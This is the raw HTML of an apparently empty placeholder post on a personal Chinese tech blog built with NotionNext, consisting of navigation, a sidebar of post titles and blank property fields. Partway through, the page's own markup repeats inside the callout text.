body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章6</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-163026f4445a4595936dc0df491c3776"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-8047ce498a3043e3ae211a9913da3140"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章6 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="金钱,推荐"/><meta name="description" content="仅供列表展示、文章无内容"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章6 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容"/><meta property="og:url" content="https://bothsavage.github.io//article/example-6"/><meta property="og:image" content="https://source.unsplash.com/random/720x480/?encryption&amp;t=163026f4-445a-4595-936d-c0df491c3776"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章6 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 